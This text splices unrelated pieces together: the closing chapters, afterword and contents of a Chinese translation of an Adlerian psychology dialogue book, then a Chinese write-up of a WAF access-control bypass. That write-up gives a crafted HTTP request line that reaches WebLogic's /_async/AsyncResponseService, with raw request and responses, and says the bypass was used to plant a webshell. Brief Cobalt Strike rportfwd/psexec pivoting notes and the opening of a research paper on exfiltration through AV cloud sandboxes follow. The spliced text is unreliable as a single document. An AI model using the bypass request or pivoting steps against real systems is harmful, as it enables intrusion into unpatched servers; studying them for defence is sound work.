我和将来的我。
的确,把人生当作故事是很有趣的事情。但是,在故事的前面部分
就能看到“模糊的将来”;并且,人们还会想要按照这个故事去生活。我
的人生就是这样,所以我只能照此生活,错不在我而在于过去和环境。
这里搬出来的过去无非是一种免罪符,是人生的谎言。
但是,人生是点的连续、是连续的刹那。如果能够理解这一点,那
就不再需要故事。
青年:如果这么说的话,阿德勒所说的生活方式不也是一种故事
吗?!
哲人:生活方式说的是“此时此刻”,是可以按照自己意志改变的事
情。像直线一样的过去的生活只不过是在你反复下定决心“不做改变”的
基础上才貌似成了直线而己。并且,将来的人生也完全是一张白纸,并
未铺好行进的轨道。这里没有故事。
青年:但是,这是一种逍遥主义!不,应该说是更加恶劣的享乐主
义!
哲人:不!聚焦“此时此刻”是认真而谨慎地做好现在能做的事情。
see more please visit: https://homeofpdf.com
对决“人生最大的谎言”
青年:认真而谨慎地生活?
哲人:例如,虽然想上大学但却不想学习,这就是没有认真过
好“此时此刻”的态度。当然,考试也许是很久之后的事情,也不知道该
学到什么程度,所以也许会感到麻烦。但是,每天进步一点点也可以,
解开一个算式或者记住一个单词都可以。也就是要不停地跳舞。如此一
来,势必会有“今天能够做到的事情”。今天这一天就为此存在,而不是
为遥远的将来的考试而存在。
又或者,你父亲也是在认真地做好每一天的工作,与远大目标或者
那种目标的实现没有关系,只是认真地过好“此时此刻”。假若如此,你
父亲的人生应该是很幸福的。
青年:您是对我说应该肯定那种生活方式?认可父亲那种整日忙于
工作的姿态?
哲人:没有必要勉强去认可。只是,不要用线的形式去看其到达了
哪里,而是应该去关注其如何度过这一刹那,
青年:关注刹那……
哲人:你自己的人生也同样。为遥远的将来设定一个目标,并认为
现在是其准备阶段。一直想着“真正想做的是这样的事情,等时机到了
就去做”,是一种拖延人生的生活方式。只要在拖延人生,我们就会无
所进展,只能每天过着枯燥乏味的单调生活。因为在这种情况下,人就
会认为“此时此刻”只是准备阶段和忍耐阶段。
但是,为了遥远将来的考试而努力学习的“此时此刻”却是真实的存
在。
青年:是的,我承认!认真过好“此时此刻”、不去设定根本不存在
的线,这些我的确认同!但是先生,我找不到理想和目标,就连应该跳
什么舞都不知道,我的“此时此刻”只有一些毫无用处的刹那!
哲人:没有目标也无妨。认真过好“此时此刻”,这本身就是跳舞。
see more please visit: https://homeofpdf.com
不要把人生弄得太深刻。请不要把认真和深刻混为一谈。
青年:认真但不深刻。
哲人:是的。人生很简单,并不是什么深刻的事情。如果认真过好
了每一个刹那,就没有什么必要令其过于深刻。
并且还要记住一点。站在现实性角度的时候,人生总是处于完结状
态。
青年:完结状态?
哲人:你还有我,即使生命终结于“此时此刻”,那也并不足以称为
不幸。无论是20岁终结的人生还是90岁终结的人生,全都是完结的、幸
福的人生。
青年:您是说假如我认真过好了“此时此刻”,那每一个刹那就都是
一种完结?
哲人:正是如此。前面我说过好几次“人生谎言”这个词。最后,我
还要说一下人生中最大的谎言。
青年:洗耳恭听。
哲人:人生中最大的谎言就是不活在“此时此刻”。纠结过去、关注
未来,把微弱而模糊的光打向人生整体,自认为看到了些什么。你之前
就一直忽略“此时此刻”,只关注根本不存在的过去和未来。对自己的人
生和无可替代的刹那撒了一个大大的谎言。
青年:啊!
哲人:来吧,甩开人生的谎言,毫不畏惧地把强烈的聚光灯打
向“此时此刻”。你一定能做到!
青年:我……我能做到吗?不依赖人生谎言、认真过好每一个刹
那,您认为我有这种“勇气”吗?
哲人:因为过去和未来根本不存在,所以才要谈现在。起决定作用
的既不是昨天也不是明天,而是“此时此刻”。
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
人生的意义,由你自己决定
青年:……什么意思呢?
哲人:讨论已经到达了“水边”,是否喝水就看你的决心了。
青年:啊,阿德勒心理学还有先生的哲学也许的确想要改变我;我
也许会放弃“不做改变”的决心,选择新的生活方式……但是,最后请允
许我再问一个问题!
哲人:是什么?
青年:当人生是连续刹那的时候,当人生只存在于“此时此刻”的时
候,人生的意义究竟是什么呢?我是为了什么出生、经受满是苦难的生
命、最后迎来死亡的呢?我不明白这其中的原因。
哲人:人生的意义是什么?人为了什么而活?当有人提出这个问题
的时候,阿德勒的回答是:“并不存在普遍性的人生意义。”
青年:人生没有意义?
哲人:例如战祸或天灾,我们所居住的世界充满了各种不合理的事
情。我们也不可能在被卷入战祸而丧命的孩子们面前谈什么“人生意
义”。也就是说,人生并不存在可以作为常识来讲的意义。
但是,如果面对这种不合理的悲剧而不采取任何行动的话,那就等
于是在肯定己经发生的悲剧。无论发生何种状况,我们都必须采取一些
行动,必须对抗康德所说的倾向性。
青年:是的!是的!
哲人:那么,假如遭受到了重大天灾,按照原因论的角度去回顾过
去以及追问“为什么会发生这样的事情”,这又有多大意义呢?
正因为这样,我们在遭遇困难的时候才更要向前看,更应该思
考“今后能够做些什么?”
青年:的确如此!
see more please visit: https://homeofpdf.com
哲人:所以阿德勒在说了“并不存在普遍性的人生意义”之后还
说:“人生意义是自己赋予自己的。”
青年:自己赋予自己?什么意思?
哲人:年轻时,我祖父的脸部曾受到了重创,这实在是不合理、非
人道的灾难。当然,也可能有人会因此而选择“世界太残酷”或者“人们
都是我的敌人”之类的生活方式。但是,我相信祖父一定是选择了“人们
都是我的伙伴,世界非常美妙”这样的生活方式。
阿德勒所说的“人生的意义是由你自己赋予自己的”,就正是这个意
思。人生没有普遍性的意义。但是,你可以赋予这样的人生以意义,而
能够赋予你的人生以意义的只有你自己。
青年:……那么,请您教教我。我怎样才能给自己无意义的人生赋
予应有的意义?我还没有那样的自信!
哲人:你对自己的人生感到茫然。为什么茫然呢?那是因为你想要
选择“自由”,也就是想要选择不惧招人讨厌、不为他人而活、只为自己
而活的道路。
青年:是的!我想要选择幸福、选择自由!
哲人:人想要选择自由的时候当然就有可能会迷路。所以,作为自
由人生的重大指针,阿德勒心理学提出了“引导之星”。
青年:引导之星?
哲人:就像旅人要依靠北极星旅行一样,我们的人生也需要“引导
之星”。这是阿德勒心理学的重要观点。这一巨大理想就是:只要不迷
失这个指针就可以,只要朝着这个方向前进就可以获得幸福。
青年:那颗星是什么呢?
哲人:他者贡献。
青年:他者贡献!
哲人:无论你过着怎样的刹那,即使有人讨厌你,只要没有迷
see more please visit: https://homeofpdf.com
失“他者贡献”这颗引导之星,那么你就不会迷失,而且做什么都可以。
即使被讨厌自己的人讨厌着也可以自由地生活。
青年:只要自己心中有他者贡献这颗星就一定能够有幸福相伴,有
朋友相伴!
哲人:而且,我们要像跳舞一样认真过好作为刹那的“此时此刻”,
既不看过去也不看未来,只需要过好每一个完结的刹那。没必要与谁竞
争,也不需要目的地,只要跳着,就一定会到达某一个地方。
青年:到达谁都不知道的“某个地方”!
哲人:现实性的人生就是这样。我自己无论怎样回顾之前的人生也
无法解释自己为什么会走到“此时此刻”。
本以为在学习希腊哲学,但不知不觉间同时学习了阿德勒心理学,
又像现在这样与你这位不可替代的朋友热烈交谈。这正是跳好每一个刹
那的结果。对你而言的人生意义在认真跳好“此时此刻”的时候就会逐渐
明确。
青年:……会明确吧?我、我相信先生!
哲人:是的,请相信我!我常年与阿德勒思想为伴,逐渐发现了一
件事情。
青年:什么?
哲人:那就是“一个人的力量很大”。不!应该说是“我的力量无穷
大”。
青年:怎么回事呢?
哲人:也就是,如果“我”改变,“世界”就会改变。世界不是靠他人
改变而只能靠“我”来改变。在了解了阿德勒心理学的我的眼中,世界已
经不是曾经的世界了。
青年:如果我改变,世界也会改变。我之外的任何人都不会为我改
变世界……
see more please visit: https://homeofpdf.com
哲人:这就类似于常年近视的人初次戴上眼镜时的冲击。原本模糊
的世界轮廓一下子变得清晰起来,就连颜色也鲜艳了许多。而且,不是
视野的一部分变得清晰,而是能够看到的一切世界都变得清晰起来。我
想你如果能够有同样的体验,那一定会无比幸福。
青年:……啊,我真遗憾!发自心底地遗憾!早上10年,不,哪怕
5年也好,真想早一些了解。如果5年前的自己、就职以前的自己已经了
解了阿德勒思想的话……
哲人:不,这不对。你认为“想要在10年前了解”,那正是因为阿德
勒思想影响了“现在的你”。谁也不知道10年前的你会有什么样的感受。
你就应该现在听到这种思想。
青年:是的,的确如此!
哲人:再送给你一句阿德勒的话:“必须有人开始。即使别人不合
作,那也与你无关。我的意见就是这样。应该由你开始,不用去考虑别
人是否合作。”
青年:我还不知道自己和自己所看到的世界是否会改变。但是,我
可以确信地说“’此时此刻‘正散发着耀眼的光芒!”是的,那种光强烈到
根本看不到明天之类的事情。
哲人:我相信你已经喝了水。来吧!走在前面的年轻朋友!我们一
起前进吧!
青年:……我也相信先生。一起前进吧!谢谢您这么长时间的指
导!
哲人:我也要谢谢你!
青年:今后我一定还会再来拜访!是的,作为一名无可替代的朋
友!绝不会再提什么驳倒之类的事情!
哲人:哈哈哈,你终于露出年轻人应有的笑容啦!好吧,已经很晚
了。让我们度过各自的夜晚,然后迎来新的早晨吧!
青年慢慢系上鞋带,离开了哲人的家。什么时候开始下雪的呢?门
外一片雪景。天空中的满月柔和地照着脚下的雪。多么清新的空气!多
see more please visit: https://homeofpdf.com
么夺目的光芒!我踏着新下的雪,迈出了一步。青年深深吸了一口气,
摸了摸短短的胡须,清楚地自语道:“世界很简单,人生也是一样!”
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
后记
人生中有时候无意间拿起的一本书就会完全改变之后的人生。
1999年的冬天,当时还是20多岁的“青年”的我在池袋的一家书店里
非常幸运地邂逅了这样的一本书——岸见一郎先生的《阿德勒心理学入
门》。
浅显易懂的语言、深刻睿智而又简单实用的思想,那种否定心灵创
伤、把原因论转换为目的论的哥白尼式的转变,使之前一直被弗洛伊德
派或荣格派言论所吸引的我受到了极大的冲击。究竟阿尔弗雷德?阿德
勒是什么人呢?为什么自己之前一直不知道他的存在呢?我开始到处搜
购关于阿德勒的书并埋头研读。
但是,我逐渐察觉到一个事实。我所探求的不单单是“阿德勒心理
学”,而是通过岸见一郎这位哲学家过滤之后,可以称之为“岸见一阿德
勒学”的思想。
根据苏格拉底或柏拉图等希腊哲学进行说明的岸见先生的阿德勒心
理学告诉我们:阿德勒不仅属于临床心理学的范畴,他还是一位思想家
和哲学家。例如,“人只有在社会背景下才能成为个人”这样的话简直就
像是黑格尔,比起客观事实更重视主观性的解释这一点又是尼采的世界
观。此外,与胡塞尔或海德格尔的现象学相通的思想也有很多。
并且,根据这些哲学性洞察,提出“一切烦恼皆源于人际关系”“人
可以随时改变并能够获得幸福”“问题不在于能力而在于勇气”等主张的
阿德勒心理学一下子改变了彼时正是烦恼不已的“青年”的我的世界观。
虽说如此,周围却几乎没有知道阿德勒心理学的人。不久我便希
望“能够与岸见先生一起出一本堪称阿德勒心理学(岸见一阿德勒学)
指南的书”。之后便联系了几位编辑,终于等到了这样的一个机会。
2010年3月,我终于有幸见到了住在京都的岸见先生,这距离我邂逅
《阿德勒心理学入门》这本书己经过了10多年。
此时,作为对岸见先生“苏格拉底的思想被柏拉图所留传,而我想
成为阿德勒的柏拉图”。这句话的回答,我脱口而出的“那么,我要成为
岸见先生的柏拉图”这句话便是本书的起源。
see more please visit: https://homeofpdf.com
简单而又具有普遍性的阿德勒思想也许会被认为是讲述了“理所当
然的事情”,又或者会被认为是在提倡根本不可能实现的理想论。
所以,为了慎重解答读者们可能存在的疑问,本书决定采用哲人和
青年间的对话篇形式。
就像本书中也提到的那样,把阿德勒思想当作自己的思想去实践并
没有那么容易。想要排斥的地方、难以接受的言论、令人费解的建议,
这些都可能会存在。
但是,就像十几年前的我一样,阿德勒思想拥有改变人一生的力
量。剩下的就只有能否鼓起迈出一步的“勇气”了。
最后,衷心感谢把年轻的我不当作徒弟而是当作“朋友”看待的岸见
一郎先生、给予了莫大支持的编辑柿内芳文先生,还有诸位敬爱的读
者。
非常感谢!
古贺史健
即使在阿德勒死后己经过了半个多世纪的现在,他思想的创新性依
然为时代所不能及。在今天的日本,虽然阿德勒的名字不像弗洛伊德或
荣格那样广为人知,但阿德勒的主张却被称为是“谁都可以从中挖出点
儿什么的’共同采石场即使阿德勒的名字不被提及,但其思想也影响着
许多人。
十几岁便开始学习哲学的我是在30多岁已经有了孩子之后,才遇见
了阿德勒心理学。探求”幸福是什么“的幸福论是西洋哲学的中心主题,
我常年来也一直在思考这个问题。所以,在第一次听阿德勒心理学演讲
的时候,当听到讲台上的讲师说”听了我今天的话的人,从此刻起便能
够获得幸福“时,我产生了极大的反感。
但是,同时我也意识到自己竟从未认真思考过”自己怎么做才能获
得幸福“,并对主张”获得幸福本身也许非常简单“的阿德勒心理学产生
了兴趣。
see more please visit: https://homeofpdf.com
就这样,我与在学习哲学的同时开始学习阿德勒心理学,但这对我
来说并不是分别学习两门不同的学问。
例如,”目的论“这种观点并不是阿德勒时代才突然出现的主张,它
在柏拉图或亚里士多德的哲学中已经出现过。阿德勒心理学是与希腊哲
学处于同一条线上的思想。并且,我还注意到,在柏拉图的著作中永远
流传下来的苏格拉底与青年们进行的对话,在今天来讲可以叫作心理辅
导。
一听到哲学也许很多人会认为难懂。但是,柏拉图的对话篇中没有
用到一个专业术语。哲学用只有专家才能看懂的语言来叙述,这原本就
很奇怪。因为哲学真正的意义不在于”知识“而在于”热爱知识“,想要了
解不了解的事物以及获得知识的过程非常重要。最终能否到达”知“,这
不是问题关键。
今天,阅读柏拉图对话篇的人也许会对探求”勇气是什么“的对话最
终并未得出结论而感到吃惊。与苏格拉底对话的青年最初都很难认同苏
格拉底的主张,他们往往会进行非常彻底的反驳。本书采用哲人与青年
之间对话这一形式,也是遵循苏格拉底以来的哲学传统。
我自从了解了”另一门哲学“阿德勒心理学开始,就不再满足于仅仅
阅读并解释先人留下的著作这样一种研究者的生活方式了。我想要像苏
格拉底一样进行对话,于是不久便在精神科医院等处开始了心理辅导。
所以,我遇到过许多”青年“。
青年们都想认真地生活,但很多人往往被自以为无所不知、通晓世
故的年长者提醒”必须要更加现实“,进而不得不放弃当初的梦想;同时
因为纯真,所以被复杂的人际关系所累,感觉疲惫不堪。
希望认真生活非常重要,但仅仅如此还不够。阿德勒说:”人的烦
恼皆源于人际关系。“如果不懂得如何构筑良好的人际关系,有时候就
会因为想要满足他人期待或者不想伤害他人而导致虽有自己主张但无法
传达,最终不得不放弃自己真正想做的事情。
这样的人的确很受周围人的欢迎,或许讨厌他(她)们的人也很
少;但另一方面,他(她)们也无法过自己的人生。
see more please visit: https://homeofpdf.com
对于像本书中出现的青年一样,已经接受了现实洗礼、烦恼多多的
年轻人来说,哲人所说的”这个世界无比简单,任何人都可以随时获得
幸福。“这样的话也许很不可思议。
自称”我的心理学是所有人的心理学“的阿德勒也像柏拉图一样没有
使用专业术语,而且提出了改善人际关系的”具体对策“。
如果有人认为难以接纳阿德勒思想,那是因为这种思想是反常识观
点的集大成者,而且要想理解它也需要日常生活中的实践:即使没有语
言方面的难度,或许也会有像在严冬里想象酷暑一样的困难。但我还是
希望大家能够掌握解开人际关系问题的关键。
共著者,同时也负责本书对话创作的古贺史健先生到我书斋来的那
天说:”我要成为岸见先生的柏拉图。“
今天,我们之所以能够了解一本书也没有留下的苏格拉底的哲学正
是因为柏拉图所写的对话篇,但柏拉图也并不仅仅是写下了苏格拉底所
说的话。正因为柏拉图正确理解了苏格拉底的话,苏格拉底的思想才能
流传到今天。
本书也正是因为反复耐心地斟酌并修正对话的古贺先生的非凡的理
解力,才得以顺利问世。本书中的”青年“正是学生时代曾遍访名师的我
或古贺先生,更是拿到本书的您。虽然抱有疑问,但如果本书能让你通
过与哲人的对话增加不同环境下的决心,那我将不胜荣幸。
岸见一郎
see more please visit: https://homeofpdf.com
作译者简介
岸见一郎
哲学家。1956年生于京都,现居京都。高中时便以哲学为志向,进
入大学后屡次到老师府上进行辩论。京都大学研究生院文学研究系博士
课程满期退学。与专业哲学(西洋古代哲学、特别是柏拉图哲学)同时
开始,于1989年起致力于研究阿德勒心理学。主要活动领域是阿德勒心
理学及古代哲学的执笔与演讲,同时还在精神科医院为许多”青年“做心
理辅导。日本阿德勒心理学会认定顾问。译著有阿尔弗雷德?阿德勒的
《个人心理学讲义》和《人为什么会患神经病》,著有《阿德勒心理学
入门》等多部作品。本书由其负责原案。
古贺史健
自由作家。1973年出生。以对话创作(问答体裁的执笔)为专长,
出版过许多商务或纪实文学方面的畅销书。他创作的极具现场感与节奏
感的采访稿广受好评。采访集《16岁的教科书》系列累计销量突破70万
册。近30岁的时候邂逅阿德勒心理学,并被其颠覆常识的思想所震撼。
之后,连续数年拜访京都的岸见一郎并向其请教阿德勒心理学的本质。
本书中,他以希腊哲学的古典手法”对话篇“进行内容呈现。著有《想要
让20岁的自己接受的文章讲义》。
渠海霞
女,1981年出生,日语语言文学硕士,现任教于山东省聊城大学
外国语学院日语系。曾公开发表学术论文多篇,翻译出版《感动顾
客的秘密——资生堂之”津田魔法“》《平衡计分卡实战手册》《一句话
说服对方》《日产,这样赢得世界》《简明经济学读本》和《家庭日记
——森友治家的故事》等书。
see more please visit: https://homeofpdf.com
Table of Contents
扉页
版权
赞誉
推荐序一
推荐序二
推荐序三
译者序
引言
插图1
插图2
第一夜 我们的不幸是谁的错?
插图3
不为人知的心理学“第三巨头”
再怎么“找原因”,也没法改变一个人
心理创伤并不存在
愤怒都是捏造出来的
弗洛伊德说错了
苏格拉底和阿德勒
你想“变成别人”吗?
你的不幸,皆是自己“选择”的
人们常常下定决心“不改变”
你的人生取决于“当下”
第二夜 一切烦恼都来自人际关系
插图4
为什么讨厌自己?
一切烦恼都是人际关系的烦恼
自卑感来自主观的臆造
自卑情结只是一种借口
越自负的人越自卑
人生不是与他人的比赛
在意你长相的,只有你自己
人际关系中的“权力斗争”与复仇
承认错误,不代表你失败了
人生的三大课题:交友课题、工作课题以及爱的课题
see more please visit: https://homeofpdf.com
浪漫的红线和坚固的锁链
“人生谎言”教我们学会逃避
阿德勒心理学是“勇气的心理学”
第三夜 让干涉你生活的人见鬼去
插图5
自由就是不再寻求认可?
要不要活在别人的期待中?
把自己和别人的“人生课题”分开来
即使父母也得放下孩子的课题
放下别人的课题,烦恼轻轻飞走
砍断“格尔迪奥斯绳结”
对认可的追求,扼杀了自由
自由就是被别人讨厌
人际关系“王牌”,握在你自己手里
第四夜 要有被讨厌的勇气
插图6
个体心理学和整体论
人际关系的终极目标
“拼命寻求认可”反而是以自我为中心?
你不是世界的中心,只是世界地图的中心
在更广阔的天地寻找自己的位置
批评不好……表扬也不行?
有鼓励才有勇气
有价值就有勇气
只要存在着,就有价值
无论在哪里,都可以有平等的关系
第五夜 认真的人生‘‘活在当下”
插图7
过多的自我意识,反而会束缚自己
不是肯定自我,而是接纳自我
信用和信赖有何区别?
工作的本质是对他人的贡献
年轻人也有胜过长者之处
“工作狂”是人生谎言
从这一刻起,就能变得幸福
追求理想者面前的两条路
甘于平凡的勇气
see more please visit: https://homeofpdf.com
人生是一连串的刹那
舞动人生
最重要的是“此时此刻”
对决“人生最大的谎言’’
人生的意义,由你自己决定
插图8
后记
作译者简介
see more please visit: https://homeofpdf.com | pdf |
Bypass WAF ⼀些姿势(⼀)
前⾔
WAF 除了对 post 的 payload 进⾏检测,此外还有个功能是对访问的 URL 路径进⾏限制,例如⼀些敏感路径,
Weblogic CVE-2019-2725 的 /_async/AsyncResponseService
/_async/AsyncResponseService 、CVE-2017-10271 的 /wls-
/wls-
wsat/CoordinatorPortType*
wsat/CoordinatorPortType* 等,这样可以缓解⼀些 weblogic 版本⽆法升级或打补丁的窘境。但是在最近⼀
次监控告警中,发现某品牌 WAF 被绕过,成功上传 webshell 。
访问控制绕过
WAF 规则限制访问 /_async/*
/_async/* , 直接访问 http://x.x.x.x/_async/AsyncResponseService , ⻚⾯⽆响应。但是如果
对 HTTP 头进⾏改造。
注意 http 请求⾏中,在原本协议版本 HTTP 1.1
HTTP 1.1 后,⼜添加了 /../../_async/AsyncResponseService
/../../_async/AsyncResponseService
HTTP/1.1
HTTP/1.1 ,对该报⽂进⾏重放时发现,原本⽆法访问的敏感⽬录⼜可以重新被访问了。
GET
GET // HTTP/1.1 /../../_async/AsyncResponseService HTTP/1.1
HTTP/1.1 /../../_async/AsyncResponseService HTTP/1.1
Host:
Host: 127.0.0.1
127.0.0.1
Upgrade-Insecure-Requests:
Upgrade-Insecure-Requests: 1
1
User-Agent:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/91.0.4472.124 Safari/537.36
like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept:
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding:
Accept-Encoding: gzip, deflate
gzip, deflate
Accept-Language:
Accept-Language: zh-CN,zh;q=0.9
zh-CN,zh;q=0.9
Connection:
Connection: close
close
绕过原理
直到写⽂章之前,我也没意识到为什么可以绕过 WAF 的访问限制,同时 weblogic 还可以正常解析。但是对⽐正常
的响应报⽂和绕过 WAF 的响应报⽂,突然发现,weblogic 在解析请求⾏对于 URL 部分的匹配条件更宽松⼀些。如
下是响应包对⽐:
通过对⽐可以看出,weblogic 在定位请求⾏的 URL 部分选取了第⼀个请求⽅法与最后⼀个协议版本中间部分的内
容,⽽中间的内容即使有空格也被转译成 ++ 号。因此重新审视 bypass WAF 的请求⾏,weblogic 会认为 URL 为
http://x.x.x.x/%20HTTP/1.1%20/../../_async/AsyncResponseService
http://x.x.x.x/%20HTTP/1.1%20/../../_async/AsyncResponseService ,同时两层 ../../
../../ 穿越
到根⽬录,最终访问到敏感路径 /_async/AsyncResponseService
/_async/AsyncResponseService 。
bypass WAF response
bypass WAF response:
:
<<html
html>>
<<body
body>>
<<h1
h1>>Welcome to the
Welcome to the
{http://www.bea.com/async/AsyncResponseService}AsyncResponseService home page
{http://www.bea.com/async/AsyncResponseService}AsyncResponseService home page
<<h3
h3>>
<<aa href
href=='/ws_utc/?
'/ws_utc/?
wsdlUrl=http%3A%2F%2Fx.x.x.x%2F+HTTP%2F1.1+%2F..%2F..%2F_async%2FAsyncResponseServi
wsdlUrl=http%3A%2F%2Fx.x.x.x%2F+HTTP%2F1.1+%2F..%2F..%2F_async%2FAsyncResponseServi
ce%3FWSDL'
ce%3FWSDL'>>Test page
Test page
</
</aa>>
</
</h3
h3>>
<<h3
h3>>
<<aa href
href=='http://x.x.x.x/ HTTP/1.1 /../../_async/AsyncResponseService?WSDL'
'http://x.x.x.x/ HTTP/1.1 /../../_async/AsyncResponseService?WSDL'
>>WSDL page
WSDL page
</
</aa>>
</
</h3
h3>>
</
</body
body>>
</
</html
html>>
normal response
normal response:
:
<<html
html>>
<<body
body>>
<<h1
h1>>Welcome to the
Welcome to the
{http://www.bea.com/async/AsyncResponseService}AsyncResponseService home page
{http://www.bea.com/async/AsyncResponseService}AsyncResponseService home page
<<h3
h3>>
<<aa href
href=='/ws_utc/?
'/ws_utc/?
wsdlUrl=http%3A%2F%2Fx.x.x.x%2F_async%2FAsyncResponseService%3FWSDL'
wsdlUrl=http%3A%2F%2Fx.x.x.x%2F_async%2FAsyncResponseService%3FWSDL'>>Test page
Test page
</
</aa>>
</
</h3
h3>>
<<h3
h3>>
<<aa href
href=='http://x.x.x.x/_async/AsyncResponseService?WSDL'
'http://x.x.x.x/_async/AsyncResponseService?WSDL' >>WSDL page
WSDL page
</
</aa>>
</
</h3
h3>>
</
</body
body>>
</
</html
html>>
解释了为什么 weblogic 可以正常解析,对于绕过 WAF 就相对好理解了,⼀般的 WAF 规则都是正则表达式,所以对
于 URL 的路径选择应该只选择第⼀个请求⽅法到第⼀个协议版本之间的部分,因此只选择了 // 部分,⽽根⽬录不
是敏感⽬录,因此绕过了 WAF 限制。
总结
Bypass WAF 的访问控制就是在绕过 WAF 的正则规则,同时后端应⽤可以正常解析。 | pdf |
由于之前在某篇文章看到,但是当时懒没有测试。顺便复现一下,好像之前有搞过但是忘了,emmmm....
环境:
监听器:
初始机192.168.1.106上线
执行rportfwd指令
psexec上线
他这里的external指向的是192.168.1.108
Evernote Export
file:///C:/Users/JiuShi/Desktop/cs反向端口转发上线.html
第1页 共1页
2020/7/17 18:43 | pdf |
1
THE ADVENTURES OF AV
AND THE LEAKY SANDBOX
A SafeBreach Labs research paper by
Amit Klein, VP Security Research, SafeBreach and
Itzik Kotler, co-founder and CTO, SafeBreach
July 2017
2
ABSTRACT
We describe and demonstrate a novel technique for exfiltrating data from highly secure enterprises which employ strict
egress filtering - that is, endpoints have no direct Internet connection, or the endpoints’ connection to the Internet is
restricted to hosts required by their legitimately installed software. Assuming the endpoint has a cloud-enhanced anti-virus
product installed, we show that if the anti-virus (AV) product employs an Internet-connected sandbox as part of its cloud
service, it actually facilitates such exfiltration. We release the tool we developed to implement the exfiltration technique,
and we provide real-world results from several prominent AV products (by Avira, ESET, Kaspersky and Comodo).
Our technique revolves around exfiltrating the data inside an executable file which is created on the endpoint (by the main
malware process), detected by the AV agent, uploaded to the cloud for further inspection, and executed in an Internet connected
sandbox. We also provide data and insights on those AV in-the-cloud sandboxes. We generalize our findings to cover on-premise
sandboxes, use of cloud-based/online scanning and malware categorization services, and sample sharing at large. Lastly, we
address the issues of how to further enhance the attack, and how cloud-based AV vendors can mitigate it.
INTRODUCTION
Exfiltration of sensitive data from a well-protected enterprise is a major goal for cyber attackers. Network-wise, our
reference scenario is an enterprise whose endpoints are not allowed direct communication with the Internet, or an
enterprise whose endpoints are only allowed Internet connections to a closed set of external hosts (such as Microsoft
update servers, AV update servers, etc.). And since the organization is “well protected”, it’s quite likely to have mandatory
anti-virus (AV) security software installed on every endpoint. Interestingly, many AV vendors advertise “cloud AV” offerings,
in which the endpoint AV software consults a cloud service about its local findings. Note that when employing a “cloud
AV”, even for endpoints that are completely restricted from accessing the Internet, the endpoints are still connected to an
internal network, and are allowed to send data over the internal network to an AV management server in the organization
(which is allowed to connect to the AV cloud). This architecture, therefore, is not truly air-gapped.
There are various exfiltration techniques already disclosed, and in fact, our 2016 paper “In Plain Sight: The Perfect
Exfiltration” provides both references to comprehensive lists of such techniques, and a new set of such techniques.
However, all those techniques assume the endpoint can connect to arbitrary Internet hosts, or assume lax security at the
enterprise, or some requirements on the hosts that are used for exfiltration. In the current paper, we look at a case wherein
these assumptions do not hold, and particularly wherein the direct Internet connection, if allowed at all, is limited to a small
set of hosts (those that are required for proper functioning of legitimately installed software on the endpoint). We show
that even under these restrictions, it is still possible under some likely conditions, to exfiltrate data to the outside world.
Our contribution:
1. We describe an innovative technique to exfiltrate data using cloud-based AV sandboxing, that can work even if the endpoint
is prevented from directly connecting to the Internet, or when it can only connect to the hosts necessary for the functioning
of the legitimately installed software on the endpoint.
2. We provide a free, open source tool which implements our technique.
3. We provide real world results of testing the technique against leading AV products.
4. We provide some insights regarding the nature of cloud-based AV sandboxes from leading AV vendors.
5. We describe extensions to our original technique (not yet implemented) that can improve the success rate of the technique.
3
RELATED WORK
Exfiltration in general
As mentioned above, there is quite a large corpus of research around exfiltration techniques in general, such as:
•
“Covert Channels in TCP/IP Protocol Stack” by Aleksandra Mileva and Boris Panajotov
•
"A survey of covert channels and countermeasures in computer network protocols" by Sebastian Zander, Grenville
Armitage and Philip Branch
•
"Covert timing channels using HTTP cache headers" by Denis Kolegov, Oleg Broslavsky and Nikita Oleksov
Our research differs from the methods described by these papers by addressing the challenge of exfiltrating from endpoints
which are not directly connected to the Internet, or have very limited connection to the Internet.
Exfiltration from disconnected endpoints
There is a lot of research published recently about exfiltrating data from endpoints over non-network media, e.g.:
•
”LED-it-GO Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED” by Mordechai Guri,
Boris Zadov, Eran Atias and Yuval Elovici,
•
"DiskFiltration: Data Exfiltration from Speakerless Air-Gapped Computers via Covert Hard Drive Noise” by
Mordechai Guri, Yosef Solewicz, Andrey Daidakulov and Yuval Elovici
•
”BitWhisper: Covert Signaling Channel between Air-Gapped Computers using Thermal Manipulations” by Mordechai
Guri, Matan Monitz, Yisroel Mirski and Yuval Elovici, etc.
These methods tackle the challenge of a truly isolated machine (“air gapped”) on one hand, but typically require an attacker
presence physically near the endpoint on the other hand. Our research addresses a slightly different question – the
endpoint may be indirectly connected to the Internet (through other machines which are allowed to access the Internet),
or may be allowed to connect to a closed set of hosts, but on the other hand, we are not restricted to physical proximity,
and can carry out exfiltration to practically any other Internet-connected host.
Exfiltration via 3rd party sites
An IPID-based exfiltration method such as “Covert Communications Despite Traffic Data Retention” by George Danezis
can use one of the allowed Internet hosts (e.g. Microsoft’s update server) to exfiltrate data. However, this method is
nowadays practically outdated since modern operating systems do not implement a globally incrementing IPID generator.
Moreover, the whitelisted sites are likely to be very busy, therefore the IPID-leaking method will encounter a lot of noise
and will likely be impractical.
4
Another exfiltration using a 3rd party site would be to send a TCP SYN packet to an open port at the 3rd party site, with a
source IP pointing at an attacker host (source IP spoofing). The 3rd party site will respond in a TCP SYN+ACK packet sent
“back” to the source IP – i.e. to the attacker host. The payload can be embedded in the TCP ISN (initial sequence number)
and/or the TCP source port, both of which are returned in the SYN+ACK packet.
A similar approach can be to send a UDP packet (request) to an open UDP port at the 3rd party site, again with a source IP
pointing at an attacker host (source IP spoofing). The 3rd party site will respond with a UDP response packet sent “back” to
the source IP. The payload can be embedded in the source port, or as part of the query data, if that can be deduced from
the response data (for example, a DNS response contains the DNS query). However, high security enterprises may employ
IP egress filtering, and thus drop the outbound endpoint packets whose IP addresses do not belong to the enterprise. In
